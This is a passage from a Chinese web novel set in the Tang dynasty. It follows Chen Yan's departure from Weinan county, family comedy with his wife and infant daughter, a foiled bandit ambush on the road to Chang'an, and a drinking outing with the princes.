杜构和陈衍听后默默思索片刻,随即纷纷点了点头,皆认为房遗直说得有道理。 李世民还是很有人情味的,平日里私底下就没少跟杜如晦他们偷偷出去玩,如今陈衍要办及冠宴,让他们休息一段时间说得过去。 “及冠啊......” 陈衍望着渭河上一艘艘行船驶过,缕缕寒风吹在辽阔的水面,掀起丝丝波澜。 “等我及冠了,我就是真的子安兄咯!” 听闻此话,杜构和房遗直顿时笑了。 其实,按理来说,大唐的男子是要及冠之后,才能正式用表字的,例如陈衍就叫子安。 但因为陈衍父母走得早,所以早早给他取了字,加上陛下和娘娘都叫他子安,所以很多人都会这样叫。 不过就跟陈衍说的那样,等及冠之后,他就是真的子安兄了。 “杜兄,你们看。”陈衍指了指远处依旧热闹非凡的码头,行船货船停下又离开,搬运货物的工人们时不时擦一擦额头的汗水,一辆辆马车从远处驶来,装上货物又离开。 这样的场景,他们来到渭南县之后,已经看过太多太多次了。 “有没有觉得跟以前不一样了?” “当然不一样了。”杜构望向那看过无数遍的场景,怔怔出神,“还记得我跟陈兄第一次来的时候,这里杂乱无序,到处都是脏水坑洞,下面做工的百姓眼中全是麻木,明明是人来人往的码头,却平静得像一滩死水。” “如今,地被重新修好,秩序被残酷的刑法树立起来,做工的百姓换上了新的衣服,眼里有了光。” 杜构干咳一声,挠挠头,“不怕你们笑话,我自认为这里面有我一份功劳,同样,这份功劳亦是我活了二十多年以来,最令我感到骄傲和满足的事。” “不是因为这份功劳带给我的前程,而是因为我实实在在感受到了,我做的事是有意义的,我在让百姓们慢慢变好。” “说真的,那种成就感,简直令人着迷。” 房遗直对杜构的话相当认同,因为他同样有这样的感觉。 虽然陈衍才是那个决策者,但他们一直参与其中,并为此做出了极大的贡献,不是吗? “只是可惜......我们明天就要离开了。” 陈衍颇为感慨。 在渭南县这段日子,他过得相当舒心,公务不太繁忙,只要把控好前进的方向,那他每天想干啥就干啥。 “怎么,陈兄是不舍了?”房遗直打趣道:“要不你去请示陛下,看看在渭南县多留几年?” “留下肯定是不行的。”陈衍沉默道:“渭南县终究只是一县罢了,让一县之地的百姓过上好日子,自然值得自豪,但若是回到长安,却有机会让天下的百姓都过上好日子。我想,那一定更令人骄傲。” 杜构和房遗直对视一眼,心中不由涌现出一股豪情。 “说得好!”杜构大笑,“我们已经做了我们能做的,这里就交给李义府他们吧。” “纵有不舍,纵有离别,但我们的脚步不应该为此停留!” “长安,有更广阔的天地等着我们!” 房遗直微微一笑,眼看气氛都到这了,抬手大喊,“小二,上酒来!” 陈衍倏地抬头,一脸懵逼地看着他,“不是,明天都要走了,还特么喝啊?” “就是因为明天要走了,所以才喝啊!”杜构拉住想起身的陈衍,“你特么的,该不会想跑吧?” 陈衍:“......” 他用力扯了扯,发现杜构这小子居然力气比自己还大点,不愧是从小跟着杜如晦练君子六艺的。 陈衍都无语了。 你们怎么就那么爱喝呢?喝醉了不难受吗? 刚刚还在那里感慨抒情,怎么特么转眼间又要上酒了? “陈兄,坐下吧,小酌,小酌两杯。”房遗直起身,按着他重新坐下。 “真的?”陈衍怀疑道:“就小酌两杯?” “真的不能再真!”房遗直和杜构两人都做出了保证。 “那好吧,那就小酌两杯。” 陈衍自知逃不了,否则等自己及冠的时候,绝对要遭老罪,故此便没打算跑。 然而,酒这个东西吧,多喝了几杯,那便是越喝越上头。 三人小酌小酌,酌着酌着,就停不下来了。 此时,连续添了好几道菜的三人,多少有些醉意了。 不过,跟以往不同的是,三人喝着喝着,忽然就没人再开口说话了。 各自端着酒杯,望着渭河,望着码头,望着这座......由他们几个少年郎共同努力赋予生机的县城。 “陈兄!” “嗯?” “此情此景,岂不题诗一首?” “......题不了一点,我头晕,麻烦派人去我家传信,让我家夫人来接我行吗?” “......” 第492章 你们老陈家哪有一个好人呐? “嘶~” 傍晚,陈衍迷迷糊糊地睁开眼,扭头看了看,嗯,是自己熟悉的家。 他躺在床上,长叹一声,揉了揉太阳穴,“他娘的,怎么又喝醉了?” “就不应该信那两货的话,什么狗屁小酌两杯,唉~” 陈衍又躺了一会儿,正准备起身,恰好此时高阳抱着孩子进来了。 见他醒了,阴阳怪气道:“哟,我们渭国公大人醒了啊?” “你倒是面子大,在外喝醉往桌子上一趴,张口就让我们去接你,你知道这两天我们有多忙,有多少东西要收拾吗?” “你以为谁都跟你一样闲?每天吃饱了找不到事情干!” 陈衍抽了抽鼻子,没有反驳,默默听着,直到高阳说完,他才开口: “既然你们忙,为啥不让青儿来接我?你最后不还是自己来了吗?” 他回来的时候隐隐约约听到过高阳的抱怨声,知道是她亲自过去带自己回来的。 “你......” “好了,别你了,嘴硬姐!”陈衍吐出一口浊气,朝她招了招手,“来,把闺女让我抱抱。” 小岁安此时醒着,已经满半岁的小家伙越长越可爱,特别黏陈衍这个爹,一看到他就眉开眼笑的,露出了两颗小小的门牙。 “小没良心的!”高阳忍不住嘟囔一声,把女儿轻轻放在床上。 小岁安呵呵笑着就往陈衍那边趴。 “哎呦,我的乖宝贝又长大一点咯。”陈衍心情一下子好了,抱起女儿贴贴。 高阳顺势脱了鞋子,上床盘腿坐着,一只手撑着下巴望着亲昵的父女俩,嘴角不自觉地上扬。 “小岁安,你认识她不?”陈衍心血来潮,抱着女儿转动身子,一大一小两人看向旁边的高阳。 “是娘亲!” 高阳声音柔和下来,这段时间她有时无聊,就开始教女儿说话了。 “小岁安,叫娘。” 小家伙眨巴着大眼睛,懵懵懂懂的,压根不清楚自家娘亲在说什么。 这给陈衍都逗笑了,“孩子才半岁,哪里会说话?” “起码要再长大一些才行啊!” “那是别人家的孩子,我家小岁安聪明得很,加上有本公主教,绝对能学会!”高阳表示不服。 女儿对陈衍太过亲昵,甚至要超出她这个每天喂养的母亲,她心里本就很不是滋味。 自然想要在这上面扳回一城! 想想女儿若是刚学会说话,叫的是娘,岂不是赢过陈衍了吗? 一想到这里,高阳就浑身激动,对着小岁安拍了拍手,“乖女儿,来,叫娘~” “娘亲~” 小岁安似乎有些迷茫,望了望最喜欢的爹爹,又看着面前对自己拍手的娘亲,以为她在和自己玩,立马高兴了,大眼睛眯了眯,小嘴微张: “哎~” 高阳:??? 陈衍:!!! 屋内,气氛安静了一瞬,然后一阵肆意的大笑响起。 “噗!哈哈哈哈哈哈哈!”陈衍笑得直不起腰,这简直比逗高阳,惹她生气,又哄她还要有趣一万倍啊! “......不是,你哎什么啊?!”高阳涨红了脸,瞬间破防了。 她不说还好,一说陈衍笑得更大声了。 只有小岁安茫然坐在床上,小小的脑袋根本想不明白发生了什么。 陈衍似乎想到了更有趣的,立即坐起身,忍着笑意,夹着嗓子帮高阳回应刚刚发生的事! “娘亲~” “哎~” “卧槽!哈哈哈哈哈哈哈!” 看爹爹笑得开心,小岁安也跟着呵呵笑了起来。 只有高阳受伤的世界达成了。 “不许笑!不许笑!你听到没有,我叫你不许笑!”高阳气急败坏地使出连环巴掌,对陈衍的伤害不说没有,但总体而言约等于无。 陈衍笑得更放肆了。 高阳大怒,“不许笑了!否则我要生气了!” 她扑上去就要捂陈衍的嘴,可后者哪能让她如意,嘲笑声就没停过。 然而,这时,让两人更意想不到的事情发生了。 小岁安见高阳欺负自己爹爹,急了,嗯嗯嗯地爬过去,挥着小巴掌就打在了高阳脸上。 高阳懵了! 倒不是因为疼,毕竟一个半岁大的孩子,能有多大力气? 但是特么的气啊! 自己好不容易喂大的孩子,日日夜夜抱在怀里的孩子,帮着陈衍欺负自己? 还打自己? “盖亚!!!” 高阳仰天大喊,心里百味杂陈,却又不能对一个什么都不懂的孩子说什么,只能欲哭无泪地躺下了,“我不活了!我要回去告诉我父皇,姓陈的没一个好东西,一天天净欺负我!” “大的欺负我就算了,小的也不放过我!” “我不活啦!” 陈衍实在笑累了,这特么谁绷得住啊? 眼看高阳一副生无可恋的样子,他都觉得有些可怜了。 望了眼高高兴兴爬到自己肚子上的小岁安,陈衍憋着乐,“好啦好啦,女儿才半岁,她又不懂。” “要是有人欺负你,女儿绝对也会帮你的。” 高阳没说话,眼神空洞。 她才不相信陈衍的屁话呢。 女儿最跟他亲了,高阳毫不怀疑,若女儿看见自己跟他干架,帮的一定是他。 “宝贝,你娘亲被你伤到心啦,快亲她一口!” 陈衍手从高阳脖子后面穿过,揽着她起来,另一只手搂着女儿,一家三口贴了贴脸,然后他抱着女儿往高阳那边凑了凑。 本来是一句玩笑话,用来哄高阳高兴的,不曾想,小岁安就像听懂了一样,在高阳脸上吧唧了一口。 “呼哈~” “咦?”不止陈衍惊了,高阳也惊了。 难道......女儿能听懂一点话了? 陈衍眨眨眼,试探性地把女儿往自己这边凑一点,“宝贝,亲爹爹一口。” 小岁安捏着小指头,睁大眼睛望着面前的爹爹,压根没听懂他的话。 陈衍和高阳有些失望,但也并不意外。 “宝贝,让娘亲抱一会儿好不好?” 他柔声询问了一句,在高阳没反应过来之前,将女儿塞进她怀里。 高阳愣了愣,低头对上了女儿懵懵懂懂,却又显得无比明亮的眼睛,故作嫌弃地送还回去。 “谁要抱你?你们老陈家哪有一个好人呐?” “......” 第493章 送别与祝福 翌日,李泰一脸苦逼地望着几个女人高高兴兴地指挥下人搬东西。 既然要回长安,那陈衍自然不可能把李泰留在这里。 否则的话,以他目前的情况,陈衍真怕他哪天就噶了。 所以,早就强制要求李泰跟自己回长安。 原本他还不答应,非要留在渭南县,最后挨了陈衍和魏王妃一顿混合双打,加上陈衍承诺回长安重新给他建造一个科研院,他这才答应下来。 与之相反,魏王妃就笑得快合不拢嘴了。 自从知道要回去之后,跟高阳打麻将输钱都是高兴的。 李丽质也差不多,毕竟回了长安,可以经常回宫见一见长孙皇后和弟弟。 只有高阳与几个小家伙不怎么高兴,她们其实更喜欢在渭南县的生活。 特别是兕子和城阳两人,在她们看来,渭南县可比长安要好多了。 “行了,别苦着张脸了。”陈衍拍了拍李泰的肩膀,“回长安其实也挺好的,左右不过等一段时间,咱们重新建造一个更大、更好的科研院不就完了吗?” “我们又不差钱,正好趁着这个机会休息一下。” “老是窝在科研院里闭门造车是行不通的,有时出去走走,放松一下,说不定灵光一闪,就有更好的想法了。” “不差钱的只有你吧?”李泰吐槽,“我虽然有封地,但上次父皇已经收回去不少了,我可没你那么有钱。” 陈衍一顿。 李泰从前是越王,后来改封魏王,看似地位高了,实则许多实利都被削了。 如今也就是个名头好听的皇子罢了。 唯一算安慰的,大概就是再怎么削减,待遇还是比其他皇子强上一截。 “别说那些不利于团结的话。”陈衍板着脸,“重新建造科研院又不用你花钱,你顾好你自己的家就行,其他的不用你操心。” “哦,对了,我及冠宴马上要到了,你记得多随点礼,别舍不得。” 李泰:“......” “行行行,我真服你了。” 他无奈地摆摆手,陈衍一天特么要提醒自己八百遍,生怕自己不随礼似的。 自己再怎么样也不差那仨瓜俩枣吧? “夫君,好了,可以出发了!” 李丽质走过来,面带着笑容。 陈衍一眼望去,马车都快装了二十车了,不仅有自己的东西,还有李泰他们的。 “行,那走吧!” 他牵起李丽质的手,跟李泰说了一声,然后便来到前方的马车前,此时高阳正抱着女儿在这里等着。 三人坐上马车,外面驾车的小顺子询问道:“少爷,都准备好了,现在出发回长安吗?” “嗯,现在.....”陈衍正想答应,却突然听见不止一辆马车驶过来的声音。 掀开帘子认真看了看,嘀咕道:“好像是杜构他们。” “陈兄!” 他猜得没错,那边的车队其中一辆马车开过来,在他旁边停下,里面坐着的正是杜构和他的妻儿。 杜构看起来比较兴奋,“一起回吧,房兄也来了。” 陈衍往后看了看,确实发现了房遗直他们家的马车,点点头,“行啊,一起回吧!” 两人又聊了几句,然后陈衍便让小顺子驾车。 “出发咯!” 随着小顺子一声大喊,三支车队渐渐动了起来。 陈衍最后再看了眼关上门的县令府,放下了车帘。 三人在车厢内说说笑笑,时不时逗弄一下女儿,心情都显得不错。 只是,马车还没开多久,小顺子忽然说:“少爷,外面好像有情况。” 有情况? 陈衍心里疑惑,再次掀开车帘,却见在道路两旁,密密麻麻站满了百姓。 有头发花白的老人,有懵懂张望的孩童,有结实健壮的汉子,也有朴素的农家妇人。 每个人都穿着平时舍不得上身的整洁衣裳,静静地望着马车队伍,没有一人开口。 以往喧闹的街道,此时只听得见车轮碾过地面的辘辘声。 “他们这是......” 李丽质有些不太确定道:“在为夫君送别?” 陈衍心里百味杂陈,其实他在百姓面前根本没露过多少次面,第一次正式露面,还是在钱庄开业当天。 说正式,实际一点都不正式。 可这里的百姓从未因此有所不满,甚至自发为他辩护,说他没露面,肯定是在为这座县城干实事。 “惭愧啊......” 他有感而发,说不出此刻到底是什么心情。 高阳抱着伸头张望的女儿,默默说:“太震撼了,不比当初父皇万国来朝时带给我的震撼少。” “二者......给了我不一样的感觉。” “可是......”李丽质犹豫着说,“百姓们怎么知道我们今天要离开?” 高阳:“应该是当初父皇圣旨下来那天吧,那个时候在县衙,很多人都在场。” 李丽质心里不是很认同,但也没反驳高阳。 那天宣读圣旨的时候,确实有很多人在场,但又没说让陈衍什么时候回长安,这是他们自己的决定,百姓不应该知道才对。 “不重要了。” 陈衍轻轻说了一句,让李丽质停止了细究的心思。 望着道路两边密密麻麻的百姓们,心中附和。 是啊,不重要了! “......” 城门口,离开渭南县的最后一程,陈衍下令停车。 他走了出去,走下了马车。 面对着一众百姓,朗声道:“记住,我叫陈衍!今后县衙若是有毒瘤,让尔等遭受不公,尽可来长安渭国公府寻我!” “届时,上穷碧落下黄泉,我亦为尔等主持公道!” 百姓们很激动,却克制住了想要开口的冲动,望着那位县令大人重新登上马车,目送他离去。 这些百姓没读过什么书,不懂得什么大道理,当初只知道这里新上任了一个年轻的县令,为他们带来了更好的生活。 如今这位年轻的县令要离开了。 要回到长安,去做更高、更大的官。 朴素的百姓们说不出好听的感谢话,拿不出手得体的礼物,只能用沉默无言的送别,来表达内心的感激。 这是送别,亦是祝福。 送别这位明明年轻得不像话,却让他们吃饱穿暖的县令大人。 祝福这位背景通天的年轻县令...... 一路扶摇! “.......” 第494章 马匪截杀 离开渭南县,高阳忍不住询问:“你这样说是不是不太合适?万一遇到个刁民找上门怎么办?” “又或者,那些百姓有个芝麻蒜皮大的事,也跑过去帮你解决,你岂不是自找麻烦?” 陈衍平静道:“渭国公府的门槛很高,天下九成九的人都跨不过去,同时,渭国公府的门槛也很低,三岁的孩童也能轻易迈过。” 话落,高阳和李丽质若有所思,没再提这件事。 事实上,她们很清楚,陈衍说那些话,目的只是为了震慑而已。 今天他们走了,今后李义府他们一样会走,谁也不清楚未来在县衙当官的是什么人。 但今天的消息和陈衍说的话必将传出去,倘若陈衍活着一天,得势一天,那么就没人敢在渭南县乱来。 高阳问那些话,就是怕有些刁民想不清楚里面的道理罢了。 不过陈衍既然有打算,那么她就不再多言了。 马车继续前进,只是陈衍似乎有些心不在焉,李丽质和高阳没有去打扰他,各自聊着。 路途到一半,路过一片山林的时候,马车忽然猛地停住,带来不小的震动。 陈衍皱眉,刚想问怎么回事。 外面却传来了小顺子慌乱的声音,“少爷,咱们好像遇到马匪了!” “马匪?” 陈衍的表情很精彩,高阳和李丽质立刻就慌了,下意识抓住他的手。 “夫君,这路上怎么会有马匪?”李丽质听长孙皇后跟自己说过马匪有多可恨,以及落在马匪手中的下场,无法淡定了。 高阳倒是没说话,另一只手死死抱着小岁安。 “莫慌,我出去看看。”陈衍安慰一声,挣脱两女的手,走出马车。 “少爷......”小顺子此时的脸色有些发白,他年龄终究太小,遇到这种事容易慌。 前方不远,十几匹马横在路中,十几个提刀的汉子散落站着,个个面带凶相,正冷冷盯着他们这支车队。 “没动手?”陈衍眯了眯眼,察觉到了不对。 马匪全是一群亡命之徒,可不会跟你讲什么大道理,一般都是选定目标之后,立刻进行冲杀,求财也求色。 陈衍往后瞥了眼,露出恍然之色。 “原来是怕我逃,先拦住我,然后让其他小弟进行包围啊......” 与此同时,四面八方都有不少马匪冒出,短短一小会儿,他们已经被包围了。 陈衍并不慌乱,对着前方骑马的十几名马匪饶有兴趣地问:“诸位好汉,拦路求财,也得先报个家门吧?” 为首一个满脸络腮胡的汉子,目光在陈衍身上转了一圈,咧嘴一笑:“渭国公果然好胆色。咱们兄弟听说今日有大人物路过,特意在此等候,想请国公爷赏碗饭吃。” 这话说得客气,可那眼神里的狠戾却藏不住。 陈衍注意到,这些人看似散乱,实则隐隐形成合围之势,将车队的前后去路都堵住了。 杜构和房遗直那边的马车也被隔开,隐约能听到那边传来家丁护院的呵斥声。 “既然认得我,还敢拦路?”陈衍的声音冷了几分,“是觉得我陈衍的刀不够快,还是觉得朝廷的兵马离得太远?” 络腮胡汉子嘿嘿笑了两声:“国公爷说笑了,咱们只是求财,不想伤人,留下车马细软,咱们保证恭送各位平安离开。” “否则......”他掂了掂手里的刀,“刀剑无眼,伤了贵人可就不好了。” “原来真的是一些什么都不懂,自以为是的马匪啊。”陈衍有些失望,还以为真的有人敢在自己回去的路上截杀他。 如果是这样的话,那说不定还有一些意外惊喜。 毕竟,如果知道他的身份,是被人派来杀他的,那就更不该和他废话了。 而现在,既然知道他的身份,还说着求财的话,是认为抢了他,还可以跑到其他地方逍遥快活,朝廷抓不到吗? 为首的络腮胡大汉隐隐感觉有点不对,陈衍太淡定了,淡定到根本没把他们放在眼里。 他心生退意,身旁一名刀疤脸忽然大喝:“大哥,你跟这小白脸废什么话?这小白脸地位高不说,买卖做得更大,后面几十辆马车,定然有数不清的财物。” “今儿个咱们兄弟干他一场,然后马上走水路离开,谁能找到咱们?” “二哥说得对,抓了这小白脸!”此时另外一人兴奋地附和,“我还听说,这小白脸有两个美若天仙的娇妻......” 陈衍眼神立刻冷了下来,抬手想要做些什么。 “——唰” 突然,一道刺耳的破空声划过,一支箭瞬间贯穿了方才那名说话马匪的脖子。 “陈兄,你同这群畜生说那么多作甚?要我说,全杀了得了!” 陈衍回头,就见杜构站在马车上,手持一张大弓,看起来真像那么回事! “老三!!!” 为首的络腮胡大汉眼睛顿时红了,眼睁睁地看着自家老三从马匹上掉落,脖子上还插着一支箭,死不瞑目! “姓陈的,老子今天要你死!” 他大吼,声音里的怒火谁都听得出来。 马匪们沸腾了。 “杀!为三当家报仇!” 就在马匪们一窝蜂冲上来时,一支支箭从后方密林骤然射出,精准地钉入几个冲在最前头的马匪后心! 惨叫声接连响起。 紧接着,路旁山坡上涌出数十名披甲持弩的军士,呈半月形迅速压上,弩箭上弦的“咔嗒”声连成一片,冰冷地指向剩下的马匪。 与此同时,后方同样有马蹄声响起,更多的金吾卫聚集过来。 “夫君,你快进来吧,万一那群马匪也有箭就麻烦了。” 李丽质心松一口气的同时,赶忙拉着陈衍回到马车内。 陈衍不想让她担心,所以没拒绝,但还是掀开车帘往外看去。 他这里有四位公主,一位皇子,一位皇子妃,这群马匪来截杀他,那真特么是老寿星上吊了。 “哈哈哈,你们不是要截杀我吗?特么来啊!” 此时,一道无比嚣张的声音响起,陈衍下意识往后一看,只见杜构持续弯弓射箭,每一箭射出都能带走一名想要逃跑的马匪。 陈衍眼皮抽动,“这活儿你都会啊?” “......” 第495章 八级大狂风 “你以为人家跟你一样啊?” 高阳心知金吾卫到了,他们已经安全,又开始了日常怼衍。 “人家从小练君子六艺,弓箭那还不是手到擒来?” 仔细想了想,陈衍点点头,很认同高阳的话。 唐朝之所以强,不光是因为兵马强,其中文人甚至女人都强。 可以说,大唐的文官风骨犹在。 当初杜如晦也说过自己曾持刀杀敌,重伤几月未愈,杜构会弓箭好像不难理解...... 个屁啊! 陈衍一脸便秘的表情。 怎么感觉是个人都比自己强呢? 无舌、李淳风他们就不谈了,程咬金他们更不用说,程处默他们仨......也可以不用提。 现在特么连杜构都比自己猛! 这谁受得了? “二位公主殿下,国公大人,属下救助来迟,请国公大人责罚!” 一名身高接近八尺的将领来到马车前抱拳下跪,神情有些后怕。 他可是很清楚这一车队到底有多少位贵人的,就这么说吧,如果今天车队出了意外,可能贞观五年就算不上最平静的一年了,所有跟此事有关的人,有一个算一个,谁都别想活! “武统领请起,今日之事,谁也没想到,而且你们已经来得很及时了。” 陈衍下车扶起武艺,心里寻思着要不要再找第二个薛礼。 从前薛礼在的时候,他从未担心过遇到这种事,今天倒是给他提了个醒。 哪怕再小概率的事情也可能发生,自身和妻女的安全永远是最重要的。 如果有薛礼在,加上家里有十位培养出来的好手,哪怕没有这些金吾卫同样无伤大雅,最差也能安全逃走。 “谢国公大人!” 武艺心中感激,如果遇到的是不怎么讲理,或者蛮横的贵人,倘若回长安告他们一状,说不定他们无功还有错。 但陈衍却是不同,他们暗中守护陈衍一家很久了,知道陈衍是个不爱说场面话的人。 如今陈衍这样说,那就代表对方确实没怪他们没在马匪出现的时候第一时间到达,导致车队陷入了被包围的险地。 这时,李泰挺着个大肚子走过来,看了看周围的情况,疑惑道:“世家安排的?” 陈衍无语,“别什么锅都往人家身上扣啊,世家怎么可能现在来杀我?” “况且,世家了解我的情况,知道我身边有你们,守卫的力量绝对不弱。在我们回长安的路上安排马匪截杀,那得傻成什么样啊?” “有道理。”李泰听后愣了一下,转而乐了,“其实仔细想想,现在的世家可能是最不希望你死的,因为你隐隐有成为双方博弈的中心点,你要是死了,第一个承受父皇怒火的就是他们!” “而且我们这里有好几位公主,一起出事跟掀桌有什么区别?” “所以啊,别遇到什么事都下意识怀疑对方。”陈衍啧啧两声,“世家从某种方面来说,还算是好人......” “咦!” 说话间,陈衍似乎是发现了什么有趣的东西,轻咦一声。 刚刚率先视死如归的络腮胡此时已经悄悄跑路了。 “哼!”武艺同样发现了,怒道:“还想跑,给我抓住他,抓活的!” “是!” 命令一下达,便有几人骑马追了上去。 “他是个聪明人,应当是从你之前的话里意识到了些东西,所以故意装作暴怒,让下面的人为他掩护逃离。”李泰做出了点评。 陈衍不置可否,“是有点脑子,但不多,毕竟他知道我的身份,如果真的聪明的话,就不会来截杀我。哪怕安排一场截杀,然后跳出来救我都比这强。” “陈兄!” 杜构拎着一把大弓,一脸兴奋地跑过来,“你要不要试试?真的挺爽的。” “......”陈衍眼神微微瞥了眼他手里那张大弓,心里有些怀疑自己能不能拉得开,为了不出糗,所以便婉拒了。 “算了吧,我没有你那种爱杀人的嗜好。” 杜构笑容一僵,似乎也意识到自己表现有些太过了,把大弓往后面藏了藏,转移话题:“陈兄,你认为今天的事,是意外吗?” 陈衍没有第一时间回答这个问题,转而对刚走过来的房遗直问,“房兄觉得呢?” “我觉得啊......”房遗直沉默两息,说:“我觉得这是不是意外根本不重要。重要的是,四位公主、一位皇子、一位皇子妃、再加一位皇孙,以及我们三个,在回长安的路上被截杀,不管是不是意外,都会掀起一阵巨大的狂风。” “这对刚回长安,说不定要不了个把月就要重新任职的我们来说,简直太有利了。” “你倒是冷静得很,竟然还有空想这些事。”李泰笑呵呵地说了一句。 反倒是陈衍和杜构,一时间没有开口,露出了思索的表情。 正所谓乘风而起,乘风破浪,首先是什么? 是特么的乘风啊! 原本因为种种原因,他们已经足够令人瞩目了,若是因今天遭遇马匪截杀,而让李世民燃起怒火,举起屠刀,再加上他即将举办及冠宴。 风,那不就来了吗? 不光来了,来得还是八级大狂风! 当然了,这有好处,也有坏处。 飞得越高,也可能摔得越惨。 一切都要看他们自己的本事! “......” “大人,人已经抓到了!” 两名金吾卫压着脸色发白的络腮胡走过来,按着他跪在众人面前。 武艺并未言语,看向陈衍。 “哟,好汉,您方才不是喊着要给您兄弟报仇吗?”陈衍拉着杜构来到他面前,“杀你兄弟的仇人来了,你为何不说话了?” “是不爱说话吗?” 络腮胡吴光祖佯装镇定:“士可杀不可辱,今日是我们不自量力,妄想鸡蛋碰石头,你要杀要剐我悉听尊便,何必用言语来嘲笑我!” “既然知道是鸡蛋碰石头,那你难道不好笑吗?”陈衍才不吃他那一套。 吴光祖脸色更白了。 “好了,武统领,麻烦你带回去吧,我相信审问这方面,长安有的是人比我厉害。” “是,国公大人!” “......” 第496章 望月楼 陈衍自认为不是什么专业的审问人员,目前手底下也没什么好的查案人,而且人已经抓到,那就更不用急了。 带回长安,然后找人慢慢审问就好。 除了为首的吴光祖之外,金吾卫还抓到几个活的,够用了。 “好了,先回吧。” 陈衍拍拍手,重新登上马车,李泰等人见状也各自上车了。 大家继续出发,前往长安。 在中午之前,他们便安全抵达了。 “不是,你还跟着我干什么?” 陈衍见李泰不回自己的家,招呼着人往自己的渭国公府搬东西,人都傻了。 好,在渭南县的时候,你没有好的住处,住我家,我可以理解。 但这特么都回长安了啊! 你难不成还没地方住? “哎呀,陈兄,你不要在意这些细节嘛!”李泰让人继续搬东西,笑眯眯地揽着他的肩膀走到一边,“先不说以咱俩的关系,住你家里应该没什么问题,就单说,有我在,你也更安全不是?” “瞧瞧今日遇到的险况,你能保证以后不会发生吗?” “所以,你的意思是,在长安有人来截杀我这个渭国公?”陈衍听着他的歪理,脸黢黑黢黑的。 “渭国公又咋了?”李泰反问,“国公不是人吗?国公被杀还不是一样会死!” “我知道,我知道,你的情况特殊,大概不会有人来杀你,但俗话说得好,不怕一万,就怕万一啊!” 他一副语重心长的模样,似乎真心为陈衍考虑。 “再一个,你不为自己想想,也得为我两个妹妹,以及外甥女想想吧?” “有我在,你家也会更安全不是?” 陈衍眼角抽搐,对李泰打的什么狗屁主意,心知肚明。 “算了,你爱住就住吧,魏王妃同意就行!” “我不同意能行吗?”魏王妃幽幽的声音传来,“我要不同意,他指不定在家里就鼓捣他那些什么炸药、大炮了,届时我可拦不住他,一个弄不好,或许就跟我们娘俩来个天人两隔。” “住你这里其实我还能更放心些。” 陈衍:“......” 李泰:“......” 当然啦,还有一句话魏王妃没说。 如果她不住这里,平时跟高阳他们打麻将多不方便啊? “算了,你们高兴就好,我......” “子安兄!” 陈衍说话间,远处传来了一道熟悉的声音。 像极了不争气的孩子受了委屈,然后见到了自己的亲人。 两人转过头,就看见李承乾笑得跟个二傻子似的跑过来。 一上来就扒拉着他看,随后问:“听说你遇到马匪截杀了,怎么看起来一点事都没有呢?” 陈衍脸一黑,“那你是希望我有事呢,还是没事呢?” “我当然是希望你没事啦。”李承乾诚恳道,“我们可是异父异母的好兄弟,把两个妹妹都嫁给你的大舅哥啊,我怎么可能希望你有事?” 一番话,他说得那叫一个情真意切,好像真的担心他似的。 紧接着,他顿了顿,好像回忆起了什么,拉住陈衍的手,郑重道:“对了,子安兄,你上次给我那个畅通无阻挺有用的,我最近感觉身体还有些不舒服,能不能再给我一点?” “呵呵......”陈衍皮笑肉不笑,“没有,别想了,你吃的是最后一份,绝版了!” 开玩笑,你他娘的算盘珠子都崩我脸上了,我敢给你吗? “是吗?” 李承乾很失望,他真想再要一包畅通无阻,好让陈衍一泻千里! 他摇了摇头,露出一丝意味深长的表情,“没有就没有吧,你去了渭南县接近两年,如今好不容易回来,是该庆祝一下。走吧,我请你喝酒!” 陈衍似是接收到了某种信号,虎躯一震,抿了抿唇,重重点头。 “既然是太子殿下相邀,那我便恭敬不如从命!” 一旁,李泰看看陈衍,又看看李承乾,眯了眯眼,压低声音说:“二位,如果你们不带我的话,说不定会发生一些你们不想看到的事。” “......” “哈哈哈哈,丽质,我跟太子还有青雀兄出趟门,你们不用等我回来吃饭哈。” “对对对,语儿,我许久没跟太子相聚了,今天趁着这个机会好好聊聊,你们先忙哈!” “二位妹妹,弟妹,我们先走了哈!” 三人勾肩搭背的,各自留下一句话,随即说说笑笑地走了。 如果是高阳在这里,此时绝对有些怀疑了,只可惜,高阳需要照顾孩子,到家便抱着女儿回去了,留在外面的只有魏王妃和李丽质。 两女压根没多想,继续指挥下人搬东西。 而另一边,三人一远离渭国公府,脚步陡然加快,直奔平康坊! “他娘的,这地方老子快两年没来了,姑娘们估计都把我忘了,今天必须喝个高兴!” “是极是极,我亦许久没来了。”李承乾搓搓手,眼睛放光! 李泰没说话,但嘴上的笑都快咧到耳根了。 “哟,陈大公子,以及李公子,您三位可是有两年没来,让姑娘们好一阵念叨啊。” 一来到熟悉的楼前,老鸨便热情地迎了上来。 陈衍和李承乾,以及程处默三兄弟,从前可都是他们望月楼最尊贵,出手最大方,还是事最少的客人! “别废话!老规矩,上酒上菜,让最好的姑娘们准备好!” 陈衍大手一挥,轻车熟路地跟李承乾带着李泰踏上三楼最好的位置。 这里可谓是一层一阶级,最高的楼,你身份不够尊贵都上不来! 三人在足以看到下面全景的位置坐下,随即便有年轻貌美的姑娘们端来了好酒好菜。紧接着,李泰和李承乾一手揽着一个,各自谈笑。 陈衍倒是没这么做,只让两个姑娘给他按肩松腿。 望月楼为了招待陈衍和李承乾这两位,也是不留余地,安排了各种让人眼花缭乱、赏心悦目的节目。 李承乾和李泰看得目不转睛,只有陈衍似乎兴致越来越少。 “子安兄,你怎么了?从前不是你看得最起劲儿吗?怎么感觉今天好像没什么兴趣一样。”李承乾注意到了这点,疑惑道。 “没,我就是在想一些事......” “......” 第497章 没见过世面 “想事?” 李承乾闻言下意识看了眼给陈衍按摩的两个姑娘,挤眉道:“子安兄,都这个时候了,你还有什么事可想的?” “就是就是!”李泰不禁附和,“都到这个时候了,你有什么事不能回去再想?特么姑娘都叫过来了,你是准备当禽兽还是禽兽不如?” 他说话的时候,眼睛一刻没离开过下面跳舞的姑娘,尤其中间那位:一袭紫裙翩跹,肩上搭着层薄如雾的紫纱,隐约可见肩颈流畅的线条,脸上虽蒙着半截面纱,只露那眉梢眼角的精致模样...... 便叫人再也移不开目光。 “陈兄......这姑娘叫什么名啊?” 陈衍鄙夷道:“瞧瞧你那没出息的样,这才刚开始就把你勾住了?能不能学学你大哥,瞅瞅人家多淡定。” 李泰艰难地移开目光,看向李承乾,后者双手分别搭在一位姑娘肩膀上,见他看过来,淡然地抬了抬手掌,“四弟,不是我说你,你多多少少有些丢人了嗷,一个劲地瞅着人家做什么?” “陈兄说得没错,这才刚开始呢,咱们要淡定些,别让人家觉得咱们没见过世面。” 一番话下来,给李泰干沉默了。 半晌,他声音沙哑着开口,“你们不地道啊,从前竟然没带我来过!” 